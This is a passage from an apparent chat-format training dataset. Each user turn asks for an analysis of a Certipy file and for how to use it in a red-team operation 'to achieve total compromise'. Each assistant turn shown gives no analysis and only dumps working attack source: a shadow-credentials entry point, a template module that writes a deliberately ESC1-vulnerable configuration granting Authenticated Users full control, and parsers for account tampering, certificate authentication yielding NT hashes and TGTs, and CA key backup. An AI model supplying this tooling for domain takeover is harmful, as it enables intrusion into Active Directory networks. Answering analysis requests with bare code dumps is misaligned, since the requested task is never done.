entry(options: argparse.Namespace) -> None:\n \"\"\"\n Command-line entry point for Shadow Authentication operations.\n\n Args:\n options: Command-line arguments\n \"\"\"\n # Create target from options\n target = Target.from_options(options)\n\n # Use provided account or default to the authenticated username\n account = options.account\n if account is None:\n account = target.username\n\n if account is None:\n logging.error(\"An account (-account) is required\")\n return\n\n # Remove processed options\n options.__delattr__(\"account\")\n options.__delattr__(\"target\")\n\n # Create Shadow instance\n shadow = Shadow(target=target, account=account, **vars(options))\n\n # Map actions to methods\n actions = {\n \"auto\": shadow.auto, # Add Key Credential, authenticate, get NT hash, restore\n \"add\": shadow.add, # Add Key Credential and save PFX\n \"list\": shadow.list, # List all Key Credentials\n \"clear\": shadow.clear, # Remove all Key Credentials\n \"remove\": shadow.remove, # Remove specific Key Credential\n \"info\": shadow.info, # Show info about specific Key Credential\n }\n\n # Execute the requested action\n actions[options.shadow_action]()\n\n<|im_end|>"} {"text": "<|im_start|>user\nAnalyze this elite tool/exploit from 'CERTIPY'. Explain the high-level attack vector (e.g., Kerberos manipulation, Kernel exploitation). Describe how to use this in a Red Team operation to achieve total compromise.\nFile: certipy/commands/template.py\n<|im_end|>\n<|im_start|>assistant\nREPO: CERTIPY\nCODE:\n\"\"\"\nCertificate Template Management Module.\n\nThis module implements the functionality to view and modify Active Directory\ncertificate templates, allowing security assessment and exploitation of\nmisconfigured templates in AD CS environments.\n\"\"\"\n\nimport argparse\nimport collections\nimport json\nfrom itertools import groupby\nfrom typing import Any, Dict, Optional\n\nimport ldap3\nfrom ldap3.core.results import RESULT_INSUFFICIENT_ACCESS_RIGHTS\nfrom ldap3.protocol.microsoft import security_descriptor_control\nfrom ldap3.utils.conv import escape_filter_chars\n\nfrom certipy.lib.constants import (\n OID_TO_STR_NAME_MAP,\n CertificateNameFlag,\n EnrollmentFlag,\n PrivateKeyFlag,\n TemplateFlags,\n)\nfrom certipy.lib.files import try_to_save_file\nfrom certipy.lib.ldap import LDAPConnection, LDAPEntry\nfrom certipy.lib.logger import logging\nfrom certipy.lib.security import create_authenticated_users_sd\nfrom certipy.lib.target import Target\nfrom certipy.lib.time import (\n SECONDS_PER_WEEK,\n SECONDS_PER_YEAR,\n filetime_to_span,\n span_to_filetime,\n)\n\n# Attributes that should not be modified to avoid breaking template functionality\nPROTECTED_ATTRIBUTES = [\n \"objectClass\",\n \"cn\",\n \"distinguishedName\",\n \"whenCreated\",\n \"whenChanged\",\n \"name\",\n \"objectGUID\",\n \"objectCategory\",\n \"dSCorePropagationData\",\n \"msPKI-Cert-Template-OID\",\n \"uSNCreated\",\n \"uSNChanged\",\n \"displayName\",\n \"instanceType\",\n \"revision\",\n \"msPKI-Template-Schema-Version\",\n \"msPKI-Template-Minor-Revision\",\n]\n\n# ESC1 vulnerable template configuration with full control for 'Authenticated Users'\n# This configuration creates a template that allows any authenticated user to enroll\n# and obtain certificates with client authentication EKU\nCONFIGURATION_TEMPLATE = {\n \"showInAdvancedViewOnly\": True,\n # Security descriptor giving Authenticated Users full control\n \"nTSecurityDescriptor\": create_authenticated_users_sd().getData(),\n \"flags\": int(\n TemplateFlags.PUBLISH_TO_DS\n | TemplateFlags.EXPORTABLE_KEY\n | TemplateFlags.AUTO_ENROLLMENT\n | TemplateFlags.ADD_TEMPLATE_NAME\n | TemplateFlags.IS_DEFAULT\n ), # Template flags\n \"pKIDefaultKeySpec\": 2, # AT_SIGNATURE\n \"pKIKeyUsage\": b\"\\x86\\x00\", # Digital Signature, Key Encipherment\n \"pKIMaxIssuingDepth\": -1, # Maximum depth value for the Basic Constraint extension (-1 means no limit)\n \"pKICriticalExtensions\": [\n \"2.5.29.19\", # Basic Constraints\n \"2.5.29.15\", # Key Usage\n ], # Critical extensions\n \"pKIExpirationPeriod\": span_to_filetime(SECONDS_PER_YEAR), # 1 year validity\n \"pKIOverlapPeriod\": span_to_filetime(SECONDS_PER_WEEK * 6), # 6 week overlap\n \"pKIExtendedKeyUsage\": [\n OID_TO_STR_NAME_MAP[\"client authentication\"],\n ],\n \"msPKI-Certificate-Application-Policy\": [\n OID_TO_STR_NAME_MAP[\"client authentication\"],\n ],\n \"pKIDefaultCSPs\": [\n \"2,Microsoft Base Cryptographic Provider v1.0\",\n \"1,Microsoft Enhanced Cryptographic Provider v1.0\",\n ],\n \"msPKI-RA-Signature\": 0, # No recovery agent signatures required\n \"msPKI-Enrollment-Flag\": int(EnrollmentFlag.NONE), # No special enrollment flags\n \"msPKI-Private-Key-Flag\": int(PrivateKeyFlag.EXPORTABLE_KEY), # Allow export\n \"msPKI-Certificate-Name-Flag\": int(\n CertificateNameFlag.ENROLLEE_SUPPLIES_SUBJECT\n ), # Name flags\n \"msPKI-Minimal-Key-Size\": 2048, # Minimum 2048-bit key\n}\n\nTRANSFORMERS = {\n \"pKIOverlapPeriod\": (filetime_to_span, span_to_filetime),\n \"pKIExpirationPeriod\": (filetime_to_span, span_to_filetime),\n}\n\n\ndef default_into_transformer(value: Any) -> Any:\n \"\"\"\n Default transformer function that returns the value unchanged.\n\n Args:\n value: The value to transform\n\n Returns:\n The original value\n \"\"\"\n if isinstance(value, list):\n return [default_into_transformer(item) for item in value]\n if isinstance(value, bytes):\n return \"HEX:\" + value.hex()\n return value\n\n\ndef default_from_transformer(value: Any) -> Any:\n \"\"\"\n Default transformer function that converts a value to its original form.\n\n Args:\n value: The value to transform\n\n Returns:\n The original value\n \"\"\"\n if isinstance(value, list):\n return [default_from_transformer(item) for item in value]\n if isinstance(value, str) and value.startswith(\"HEX:\"):\n return bytes.fromhex(value[4:])\n return value\n\n\nclass Template:\n \"\"\"\n Certificate Template management class for viewing and modifying AD CS templates.\n\n This class provides functionality to retrieve, save, and modify certificate\n template configurations in Active Directory Certificate Services.\n \"\"\"\n\n def __init__(\n self,\n target: \"Target\",\n template: str = \"\",\n write_configuration: Optional[str] = None,\n write_default_configuration: bool = False,\n save_configuration: Optional[str] = None,\n no_save: bool = False,\n force: bool = False,\n connection: Optional[LDAPConnection] = None,\n **kwargs, # type: ignore\n ):\n \"\"\"\n Initialize a Template object for certificate template operations.\n\n Args:\n target: Target domain information\n template: Name of the certificate template to operate on\n write_configuration: Path to configuration file to apply\n write_default_configuration: Whether to apply the default configuration\n save_configuration: Path to save the current configuration\n no_save: Whether to skip saving the current configuration\n force: Do not prompt for confirmation before applying changes\n scheme: LDAP connection scheme (ldap or ldaps)\n connection: Optional existing LDAP connection to reuse\n **kwargs: Additional keyword arguments\n \"\"\"\n self.target = target\n self.template_name = template\n self.write_configuration_file = write_configuration\n self.write_default_configuration = write_default_configuration\n self.save_configuration_file = save_configuration\n self.no_save = no_save\n self.force = force\n self.kwargs = kwargs\n\n self._connection = connection\n\n @property\n def connection(self) -> LDAPConnection:\n \"\"\"\n Lazily establish and return an LDAP connection.\n\n Returns:\n An active LDAP connection to the target domain\n \"\"\"\n if self._connection is not None:\n return self._connection\n\n self._connection = LDAPConnection(self.target)\n self._connection.connect()\n\n return self._connection\n\n def configuration_to_json(self, configuration: Dict[str, Any]) -> str:\n \"\"\"\n Convert a template configuration to a JSON string.\n\n Converts binary attribute values to their hexadecimal representation\n for storage in JSON format.\n\n Args:\n configuration: Template configuration dictionary\n\n Returns:\n JSON string representation of the configuration\n \"\"\"\n output = {}\n for key, value in configuration.items():\n if key in PROTECTED_ATTRIBUTES:\n continue\n\n into_transformer, _ = TRANSFORMERS.get(\n key, (default_into_transformer, None)\n )\n\n output[key] = into_transformer(value)\n\n return json.dumps(output, indent=2, ensure_ascii=False)\n\n def get_configuration(self, template_name: str) -> Optional[LDAPEntry]:\n \"\"\"\n Retrieve the configuration for a certificate template from AD.\n\n Searches for the template by CN or displayName and returns its configuration.\n\n Args:\n template_name: Name of the certificate template to find\n\n Returns:\n LDAPEntry containing the template configuration or None if not found\n \"\"\"\n escaped_template = escape_filter_chars(template_name)\n\n # First try searching by CN\n results = self.connection.search(\n search_filter=f\"(&(cn={escaped_template})(objectClass=pKICertificateTemplate))\",\n search_base=self.connection.configuration_path,\n query_sd=True,\n )\n\n # If not found by CN, try displayName\n if not results:\n results = self.connection.search(\n f\"(&(displayName={escaped_template})(objectClass=pKICertificateTemplate))\",\n search_base=self.connection.configuration_path,\n query_sd=True,\n )\n\n if not results:\n logging.error(\n f\"Could not find any certificate template for {template_name!r}\"\n )\n return None\n\n if len(results) > 1:\n # This should never happen, but just in case\n logging.error(\n f\"Found multiple certificate templates identified by {template_name!r}\"\n )\n return None\n\n return results[0]\n\n def json_to_configuration(\n self, configuration_json: Dict[str, Any]\n ) -> Dict[str, Any]:\n \"\"\"\n Convert a JSON configuration back to a usable LDAP configuration.\n\n Converts hexadecimal strings back to binary data for LDAP operations.\n\n Args:\n configuration_json: Dictionary loaded from JSON\n\n Returns:\n Configuration dictionary with binary values ready for LDAP\n \"\"\"\n output = {}\n for key, value in configuration_json.items():\n if key in PROTECTED_ATTRIBUTES:\n continue\n\n _, from_transformer = TRANSFORMERS.get(\n key, (None, default_from_transformer)\n )\n output[key] = from_transformer(value)\n\n return output\n\n def load_configuration(self, configuration_path: str) -> Dict[str, Any]:\n \"\"\"\n Load a template configuration from a JSON file.\n\n Args:\n configuration_path: Path to the configuration JSON file\n\n Returns:\n Configuration dictionary with binary values\n\n Raises:\n ValueError: If the JSON file doesn't contain a dictionary\n FileNotFoundError: If the configuration file can't be found\n \"\"\"\n try:\n with open(configuration_path, \"r\") as f:\n configuration_json = json.load(f)\n\n if not isinstance(configuration_json, dict):\n raise ValueError(\n f\"Expected a JSON object, got {type(configuration_json)!r}\"\n )\n\n return self.json_to_configuration(configuration_json)\n except FileNotFoundError:\n logging.error(f\"Configuration file not found: {configuration_path}\")\n raise\n except json.JSONDecodeError:\n logging.error(f\"Invalid JSON in configuration file: {configuration_path}\")\n raise ValueError(\"Invalid JSON in configuration file\")\n except Exception as e:\n logging.error(f\"Error loading configuration file: {e}\")\n raise\n\n def save_configuration(self, configuration: Optional[LDAPEntry] = None) -> None:\n \"\"\"\n Save the current configuration to a JSON file.\n \"\"\"\n # Get the current configuration\n current_configuration = configuration\n if current_configuration is None:\n current_configuration = self.get_configuration(self.template_name)\n if not current_configuration:\n raise Exception(\n f\"Failed to retrieve configuration for {self.template_name!r}. Aborting.\"\n )\n\n current_configuration_json = self.configuration_to_json(\n current_configuration[\"attributes\"]\n )\n\n out_file = (\n self.save_configuration_file.removesuffix(\".json\")\n if self.save_configuration_file\n else current_configuration.get(\"cn\")\n )\n\n out_file = f\"{out_file}.json\"\n logging.info(f\"Saving current configuration to {out_file!r}\")\n out_file = try_to_save_file(\n current_configuration_json, out_file, abort_on_fail=True\n )\n logging.info(\n f\"Wrote current configuration for {self.template_name!r} to {out_file!r}\"\n )\n\n def write_configuration(self) -> bool:\n \"\"\"\n Apply a new configuration to a certificate template.\n\n If no configuration file is provided, applies the default vulnerable\n configuration. If save_old is True, saves the current configuration\n before applying changes.\n\n Returns:\n True if the template was successfully updated, False otherwise\n \"\"\"\n if not self.template_name:\n logging.error(\"A template (-template) is required\")\n return False\n\n # Get the configuration to apply\n if self.write_configuration_file:\n try:\n new_configuration = self.load_configuration(\n self.write_configuration_file\n )\n except (FileNotFoundError, ValueError):\n return False\n else:\n # Use the default vulnerable configuration\n new_configuration = CONFIGURATION_TEMPLATE\n\n # Get the current configuration\n old_configuration = self.get_configuration(self.template_name)\n if not old_configuration:\n return False\n\n # Save the old configuration if requested\n if not self.no_save:\n self.save_configuration(old_configuration)\n\n # Compute the changes to make\n changes = self._compute_changes(old_configuration, new_configuration)\n\n if not changes:\n logging.warning(\n \"New configuration is the same as old configuration. Not updating\"\n )\n return False\n\n # Apply the changes\n return self._apply_changes(old_configuration, changes)\n\n def _compute_changes(\n self, old_configuration: LDAPEntry, new_configuration: Dict[str, Any]\n ) -> Dict[str, Any]:\n \"\"\"\n Compute the changes needed to update a template configuration.\n\n Args:\n old_configuration: Current template configuration\n new_configuration: New template configuration to apply\n\n Returns:\n Dictionary of changes to apply using LDAP modify operation\n \"\"\"\n changes = {}\n\n # Check for attributes to delete or modify\n for key in old_configuration[\"attributes\"].keys():\n if key in PROTECTED_ATTRIBUTES:\n continue\n\n # Delete attributes not in the new configuration\n if key not in new_configuration:\n changes[key] = [(ldap3.MODIFY_DELETE, [])]\n continue\n\n # Replace attributes with new values if different\n old_value = old_configuration.get(key)\n new_value = new_configuration[key]\n\n if type(old_value) != type(new_value):\n changes[key] = [(ldap3.MODIFY_REPLACE, new_value)]\n continue\n if isinstance(old_value, list):\n # Check if the list values are different\n if collections.Counter(old_value) != collections.Counter(new_value):\n changes[key] = [(ldap3.MODIFY_REPLACE, new_value)]\n continue\n\n if old_value != new_value:\n changes[key] = [(ldap3.MODIFY_REPLACE, new_value)]\n\n # Add new attributes not in the old configuration\n for key, value in new_configuration.items():\n if (\n key in changes\n or key in PROTECTED_ATTRIBUTES\n or key in old_configuration[\"attributes\"]\n ):\n continue\n\n changes[key] = [(ldap3.MODIFY_ADD, value)]\n\n return changes\n\n def _apply_changes(\n self, old_configuration: LDAPEntry, changes: Dict[str, Any]\n ) -> bool:\n \"\"\"\n Apply computed changes to a template configuration.\n\n Args:\n old_configuration: Current template configuration\n changes: Dictionary of changes to apply\n\n Returns:\n True if changes were applied successfully, False otherwise\n \"\"\"\n template_name = old_configuration.get(\"cn\")\n logging.info(f\"Updating certificate template {template_name!r}\")\n\n # Log the changes grouped by operation type\n self._log_changes(changes)\n\n if not self.force:\n # Ask for confirmation before applying changes\n confirm = input(\n f\"Are you sure you want to apply these changes to {template_name!r}? (y/N): \"\n )\n if confirm.strip().lower() != \"y\":\n logging.info(\"Aborting changes\")\n return False\n\n # Apply the changes\n result = self.connection.modify(\n old_configuration.get(\"distinguishedName\"),\n changes,\n controls=security_descriptor_control(sdflags=0x4),\n )\n\n if result[\"result\"] == 0:\n logging.info(f\"Successfully updated {template_name!r}\")\n return True\n elif result[\"result\"] == RESULT_INSUFFICIENT_ACCESS_RIGHTS:\n logging.error(\n f\"User {self.target.username!r} doesn't have permission to update \"\n f\"these attributes on {template_name!r}\"\n )\n else:\n logging.error(f\"Got error: {result['message']}\")\n\n return False\n\n def _log_changes(self, changes: Dict[str, Any]) -> None:\n \"\"\"\n Log the changes to be applied, grouped by operation type.\n\n Args:\n changes: Dictionary of changes to apply\n \"\"\"\n # Group changes by operation (MODIFY_DELETE, MODIFY_REPLACE, MODIFY_ADD)\n by_op = lambda item: item[1][0][0]\n\n for op, group in groupby(sorted(changes.items(), key=by_op), by_op):\n op_name = {\n ldap3.MODIFY_ADD: \"Adding\",\n ldap3.MODIFY_DELETE: \"Deleting\",\n ldap3.MODIFY_REPLACE: \"Replacing\",\n }.get(op, op)\n\n logging.info(f\"{op_name}:\")\n\n for item in list(group):\n key = item[0]\n value = item[1][0][1]\n logging.info(f\" {key}: {value!r}\")\n\n\ndef entry(options: argparse.Namespace) -> None:\n \"\"\"\n Entry point for the template command.\n\n Args:\n options: Command-line arguments\n \"\"\"\n target = Target.from_options(options, dc_as_target=True)\n\n # Remove target from options to avoid duplicate argument\n options.__delattr__(\"target\")\n\n template = Template(target=target, **vars(options))\n\n will_write = (\n template.write_default_configuration or template.write_configuration_file\n )\n\n if template.save_configuration_file:\n template.save_configuration()\n\n if will_write:\n template.write_configuration()\n\n # if template.write_default_configuration or template.configuration:\n # # Apply the configuration\n # if not template.set_configuration():\n # logging.error(\"Failed to set the template configuration\")\n # return\n # _ = template.set_configuration()\n\n<|im_end|>"} {"text": "<|im_start|>user\nAnalyze this elite tool/exploit from 'CERTIPY'. Explain the high-level attack vector (e.g., Kerberos manipulation, Kernel exploitation). Describe how to use this in a Red Team operation to achieve total compromise.\nFile: certipy/commands/parsers/__init__.py\n<|im_end|>\n<|im_start|>assistant\nREPO: CERTIPY\nCODE:\nfrom . import account, auth, ca, cert, find, forge, parse, relay, req, shadow, template\n\nENTRY_PARSERS = [\n account,\n auth,\n ca,\n cert,\n find,\n parse,\n forge,\n relay,\n req,\n shadow,\n template,\n]\n\n<|im_end|>"} {"text": "<|im_start|>user\nAnalyze this elite tool/exploit from 'CERTIPY'. Explain the high-level attack vector (e.g., Kerberos manipulation, Kernel exploitation). Describe how to use this in a Red Team operation to achieve total compromise.\nFile: certipy/commands/parsers/account.py\n<|im_end|>\n<|im_start|>assistant\nREPO: CERTIPY\nCODE:\n\"\"\"\nParser for Active Directory account management command.\n\nThis module defines the command-line interface for the 'account' command,\nwhich allows creating, reading, updating, and deleting user and computer accounts\nin Active Directory.\n\"\"\"\n\nimport argparse\nfrom typing import Callable, Tuple\n\nfrom . import target\n\n# Command name identifier\nNAME = \"account\"\n\n\ndef entry(options: argparse.Namespace) -> None:\n \"\"\"\n Entry point for the account management command.\n\n This function imports and calls the actual implementation of the account\n command from the certipy.commands module.\n\n Args:\n options: Parsed command-line arguments\n \"\"\"\n from certipy.commands import account\n\n account.entry(options)\n\n\ndef add_subparser(subparsers: argparse._SubParsersAction) -> Tuple[str, Callable]: # type: ignore\n \"\"\"\n Add the account management command subparser to the main parser.\n\n This function creates and configures a subparser for managing Active Directory\n accounts, including options for creating, reading, updating, and deleting\n user and computer accounts.\n\n Args:\n subparsers: Parent parser to attach the subparser to\n\n Returns:\n Tuple of (command_name, entry_function) for command registration\n \"\"\"\n # Create the account subparser with description\n subparser = subparsers.add_parser(\n NAME,\n help=\"Manage user and machine accounts\",\n description=(\n \"Create, read, update, and delete Active Directory user and computer accounts. \"\n \"This command allows manipulating account properties including DNS names, \"\n \"service principal names (SPNs), and passwords.\"\n ),\n )\n\n # Main action argument\n subparser.add_argument(\n \"account_action\",\n choices=[\"create\", \"read\", \"update\", \"delete\"],\n help=(\n \"Action to perform: \"\n \"create (new account), \"\n \"read (view account properties), \"\n \"update (modify existing account), \"\n \"delete (remove account)\"\n ),\n )\n\n # Target account options\n target_group = subparser.add_argument_group(\"target options\")\n target_group.add_argument(\n \"-user\",\n action=\"store\",\n metavar=\"SAM Account Name\",\n help=\"Logon name for the account to target\",\n required=True,\n )\n target_group.add_argument(\n \"-group\",\n action=\"store\",\n metavar=\"CN=Computers,DC=test,DC=local\",\n help=(\n \"Group to which the account will be added. \"\n \"If omitted, CN=Computers, will be used\"\n ),\n )\n\n # Account attribute options\n attr_group = subparser.add_argument_group(\"attribute options\")\n attr_group.add_argument(\n \"-dns\",\n action=\"store\",\n metavar=\"hostname\",\n help=\"Set the DNS hostname for the account (e.g., computer.domain.local)\",\n )\n attr_group.add_argument(\n \"-upn\",\n action=\"store\",\n metavar=\"principal name\",\n help=\"Set the User Principal Name for the account (e.g., user@domain.local)\",\n )\n attr_group.add_argument(\n \"-sam\",\n action=\"store\",\n metavar=\"account name\",\n help=\"Set the SAM Account Name for the account (e.g., computer$ or username)\",\n )\n attr_group.add_argument(\n \"-spns\",\n action=\"store\",\n metavar=\"service names\",\n help=\"Set the Service Principal Names for the account (comma-separated)\",\n )\n attr_group.add_argument(\n \"-pass\",\n action=\"store\",\n dest=\"passw\",\n metavar=\"password\",\n help=\"Set the password for the account\",\n )\n\n # Add standard target arguments from shared module\n target.add_argument_group(subparser)\n\n return NAME, entry\n\n<|im_end|>"} {"text": "<|im_start|>user\nAnalyze this elite tool/exploit from 'CERTIPY'. Explain the high-level attack vector (e.g., Kerberos manipulation, Kernel exploitation). Describe how to use this in a Red Team operation to achieve total compromise.\nFile: certipy/commands/parsers/auth.py\n<|im_end|>\n<|im_start|>assistant\nREPO: CERTIPY\nCODE:\n\"\"\"\nParser for certificate authentication command.\n\nThis module defines the command-line interface for the 'auth' command,\nwhich allows authentication to Active Directory services using certificates\nand retrieving Kerberos tickets or NT hashes.\n\"\"\"\n\nimport argparse\nfrom typing import Callable, Tuple\n\n# Command name identifier\nNAME = \"auth\"\n\n\ndef entry(options: argparse.Namespace) -> None:\n \"\"\"\n Entry point for the auth command.\n\n This function imports and calls the actual implementation of the auth\n command from the certipy.commands module.\n\n Args:\n options: Parsed command-line arguments\n \"\"\"\n from certipy.commands import auth\n\n auth.entry(options)\n\n\ndef add_subparser(subparsers: argparse._SubParsersAction) -> Tuple[str, Callable]: # type: ignore\n \"\"\"\n Add the certificate authentication command subparser to the main parser.\n\n This function creates and configures a subparser for authenticating with\n certificates to Active Directory services, including options for retrieving\n Kerberos tickets and establishing LDAP connections.\n\n Args:\n subparsers: Parent parser to attach the subparser to\n\n Returns:\n Tuple of (command_name, entry_function) for command registration\n \"\"\"\n # Create the auth subparser with description\n subparser = subparsers.add_parser(\n NAME,\n help=\"Authenticate using certificates\",\n description=(\n \"Authenticate to Active Directory services using certificates. \"\n \"This command enables certificate-based authentication to obtain \"\n \"Kerberos tickets, NT hashes, or establish LDAP connections.\"\n ),\n )\n\n # Certificate options\n cert_group = subparser.add_argument_group(\"certificate options\")\n cert_group.add_argument(\n \"-pfx\",\n action=\"store\",\n metavar=\"pfx/p12 file name\",\n help=\"Path to certificate and private key (PFX/P12 format)\",\n required=True,\n )\n cert_group.add_argument(\n \"-password\",\n action=\"store\",\n metavar=\"password\",\n help=\"Password for the PFX/P12 file\",\n )\n\n # Output options\n output_group = subparser.add_argument_group(\"output options\")\n output_group.add_argument(\n \"-no-save\", action=\"store_true\", help=\"Don't save Kerberos TGT to file\"\n )\n output_group.add_argument(\n \"-no-hash\", action=\"store_true\", help=\"Don't request NT hash from Kerberos\"\n )\n output_group.add_argument(\n \"-print\",\n action=\"store_true\",\n help=\"Print Kerberos TGT in Kirbi format to console\",\n )\n output_group.add_argument(\n \"-kirbi\",\n action=\"store_true\",\n help=\"Save Kerberos TGT in Kirbi format (default is ccache)\",\n )\n\n # Connection options\n conn_group = subparser.add_argument_group(\"connection options\")\n conn_group.add_argument(\n \"-dc-ip\",\n action=\"store\",\n metavar=\"ip address\",\n help=(\n \"IP Address of the domain controller. If omitted, it will use the domain \"\n \"part (FQDN) specified in the target parameter\"\n ),\n )\n conn_group.add_argument(\n \"-ns\",\n action=\"store\",\n metavar=\"nameserver\",\n help=\"Nameserver for DNS resolution\",\n )\n conn_group.add_argument(\n \"-dns-tcp\", action=\"store_true\", help=\"Use TCP instead of UDP for DNS queries\"\n )\n conn_group.add_argument(\n \"-timeout\",\n action=\"store\",\n metavar=\"seconds\",\n help=\"Timeout for connections in seconds\",\n default=5,\n type=int,\n )\n\n # Authentication options\n auth_group = subparser.add_argument_group(\"authentication options\")\n auth_group.add_argument(\n \"-username\",\n action=\"store\",\n metavar=\"username\",\n help=\"Username to authenticate as (extracted from certificate if omitted)\",\n )\n auth_group.add_argument(\n \"-domain\",\n action=\"store\",\n metavar=\"domain\",\n help=\"Domain name to authenticate to (extracted from certificate if omitted)\",\n )\n auth_group.add_argument(\n \"-ldap-shell\",\n action=\"store_true\",\n help=\"Authenticate with the certificate via Schannel against LDAP\",\n )\n\n # LDAP Options Group\n ldap_group = subparser.add_argument_group(\"ldap options\")\n _ = ldap_group.add_argument(\n \"-ldap-scheme\",\n action=\"store\",\n metavar=\"ldap scheme\",\n choices=[\"ldap\", \"ldaps\"],\n default=\"ldaps\",\n help=\"LDAP connection scheme to use (default: ldaps)\",\n )\n _ = ldap_group.add_argument(\n \"-ldap-port\",\n action=\"store\",\n metavar=\"port\",\n type=int,\n help=\"Port for LDAP communication (default: 636 for ldaps, 389 for ldap)\",\n )\n _ = ldap_group.add_argument(\n \"-ldap-user-dn\",\n action=\"store\",\n metavar=\"dn\",\n help=\"Distinguished Name of target account for LDAP authentication\",\n )\n\n return NAME, entry\n\n<|im_end|>"} {"text": "<|im_start|>user\nAnalyze this elite tool/exploit from 'CERTIPY'. Explain the high-level attack vector (e.g., Kerberos manipulation, Kernel exploitation). Describe how to use this in a Red Team operation to achieve total compromise.\nFile: certipy/commands/parsers/ca.py\n<|im_end|>\n<|im_start|>assistant\nREPO: CERTIPY\nCODE:\n\"\"\"\nParser for Certificate Authority management command.\n\nThis module defines the command-line interface for the 'ca' command,\nwhich allows managing Certificate Authority configurations, templates,\ncertificate requests, and role assignments in Active Directory.\n\"\"\"\n\nimport argparse\nfrom typing import Callable, Tuple\n\nfrom . import target\n\n# Command name identifier\nNAME = \"ca\"\n\n\ndef entry(options: argparse.Namespace) -> None:\n \"\"\"\n Entry point for the CA management command.\n\n This function imports and calls the actual implementation of the CA\n command from the certipy.commands module.\n\n Args:\n options: Parsed command-line arguments\n \"\"\"\n from certipy.commands import ca\n\n ca.entry(options)\n\n\ndef add_subparser(subparsers: argparse._SubParsersAction) -> Tuple[str, Callable]: # type: ignore\n \"\"\"\n Add the Certificate Authority management command subparser to the main parser.\n\n This function creates and configures a subparser for managing Certificate\n Authorities in Active Directory, including template management, request\n processing, permission assignments, and CA backup operations.\n\n Args:\n subparsers: Parent parser to attach the subparser to\n\n Returns:\n Tuple of (command_name, entry_function) for command registration\n \"\"\"\n # Create the CA subparser with description\n subparser = subparsers.add_parser(\n NAME,\n help=\"Manage CA and certificates\",\n description=(\n \"Manage Certificate Authority configurations, templates, and permissions. \"\n \"This command allows enabling/disabling templates, processing certificate \"\n \"requests, managing role assignments, and backing up CA certificates.\"\n ),\n )\n\n # CA identification\n subparser.add_argument(\n \"-ca\",\n action=\"store\",\n metavar=\"certificate authority name\",\n help=\"Name of the Certificate Authority to manage\",\n )\n\n # Certificate template management options\n template_group = subparser.add_argument_group(\"certificate template options\")\n template_group.add_argument(\n \"-enable-template\",\n action=\"store\",\n metavar=\"template name\",\n help=\"Enable a certificate template on the CA\",\n )\n template_group.add_argument(\n \"-disable-template\",\n action=\"store\",\n metavar=\"template name\",\n help=\"Disable a certificate template on the CA\",\n )\n template_group.add_argument(\n \"-list-templates\",\n action=\"store_true\",\n help=\"List all enabled certificate templates on the CA\",\n )\n\n # Certificate request processing options\n request_group = subparser.add_argument_group(\"certificate request options\")\n request_group.add_argument(\n \"-issue-request\",\n action=\"store\",\n metavar=\"request ID\",\n help=\"Issue a pending or failed certificate request\",\n )\n request_group.add_argument(\n \"-deny-request\",\n action=\"store\",\n metavar=\"request ID\",\n help=\"Deny a pending certificate request\",\n )\n\n # Certificate officer management\n officer_group = subparser.add_argument_group(\"officer options\")\n officer_group.add_argument(\n \"-add-officer\",\n action=\"store\",\n metavar=\"officer\",\n help=\"Add a new officer (Certificate Manager) to the CA\",\n )\n officer_group.add_argument(\n \"-remove-officer\",\n action=\"store\",\n metavar=\"officer\",\n help=\"Remove an existing officer (Certificate Manager) from the CA\",\n )\n\n # CA manager role management\n manager_group = subparser.add_argument_group(\"manager options\")\n manager_group.add_argument(\n \"-add-manager\",\n action=\"store\",\n metavar=\"manager\",\n help=\"Add a new manager (CA Manager) to the CA\",\n )\n manager_group.add_argument(\n \"-remove-manager\",\n action=\"store\",\n metavar=\"manager\",\n help=\"Remove an existing manager (CA Manager) from the CA\",\n )\n\n # Backup operations\n backup_group = subparser.add_argument_group(\"backup options\")\n backup_group.add_argument(\n \"-backup\",\n action=\"store_true\",\n help=\"Backup CA certificate and private key\",\n )\n backup_group.add_argument(\n \"-config\",\n action=\"store\",\n metavar=\"Machine\\\\CA\",\n help=\"CA configuration string in format Machine\\\\CAName\",\n )\n\n # Connection options\n conn_group = subparser.add_argument_group(\"connection options\")\n conn_group.add_argument(\n \"-dynamic-endpoint\",\n action=\"store_true\",\n help=\"Prefer dynamic TCP endpoint over named pipe\",\n )\n\n # Add standard target arguments from shared module\n target.add_argument_group(subparser, connection_options=conn_group)\n\n return NAME, entry\n\n<|im_end|>"} {"text": "<|im_start|>user\nAnalyze this elite tool/exploit from 'CERTIPY'. Explain the high-level attack vector (e.g., Kerberos manipulation, Kernel exploitation). Describe how to use this in a Red Team operation to achieve total compromise.\nFile: certipy/commands/parsers/cert.py\n<|im_end|>\n<|im_start|>assistant\nREPO: CERTIPY\nCODE:\n\"\"\"\nParser for certificate manipulation command.\n\nThis module defines the command-line interface for the 'cert' command,\nwhich allows managing certificates and private keys, including importing,\nexporting, and converting between different formats.\n\"\"\"\n\nimport argparse\nfrom typing import Callable, Tuple\n\n# Command name identifier\nNAME = \"cert\"\n\n\ndef entry(options: argparse.Namespace) -> None:\n \"\"\"\n Entry point for the cert command.\n\n This function imports and calls the actual implementation of the cert\n command from the certipy.commands module.\n\n Args:\n options: Parsed command-line arguments\n \"\"\"\n from certipy.commands import cert\n\n cert.entry(options)\n\n\ndef add_subparser(subparsers: argparse._SubParsersAction) -> Tuple[str, Callable]: # type: ignore\n \"\"\"\n Add the certificate management command subparser to the main parser.\n\n This function creates and configures a subparser for managing certificates\n and private keys, including options for importing from various formats,\n exporting to PFX, and manipulating certificate components.\n\n Args:\n subparsers: Parent parser to attach the subparser to\n\n Returns:\n Tuple of (command_name, entry_function) for command registration\n \"\"\"\n # Create the cert subparser with description\n subparser = subparsers.add_parser(\n NAME,\n help=\"Manage certificates and private keys\",\n description=(\n \"Import, export, and manipulate certificates and private keys locally. \"\n \"This command supports various operations like converting between formats, \"\n \"extracting components, and creating PFX files.\"\n ),\n )\n\n # Input options group\n input_group = subparser.add_argument_group(\"input options\")\n input_group.add_argument(\n \"-pfx\",\n action=\"store\",\n metavar=\"infile\",\n help=\"Load certificate and private key from PFX/P12 file\",\n )\n input_group.add_argument(\n \"-password\",\n action=\"store\",\n metavar=\"password\",\n help=\"Password for the input PFX/P12 file\",\n )\n input_group.add_argument(\n \"-key\",\n action=\"store\",\n metavar=\"infile\",\n help=\"Load private key from PEM or DER file\",\n )\n input_group.add_argument(\n \"-cert\",\n action=\"store\",\n metavar=\"infile\",\n help=\"Load certificate from PEM or DER file\",\n )\n\n # Output options group\n output_group = subparser.add_argument_group(\"output options\")\n output_group.add_argument(\n \"-export\", action=\"store_true\", help=\"Export to PFX/P12 file (default format)\"\n )\n output_group.add_argument(\n \"-out\",\n 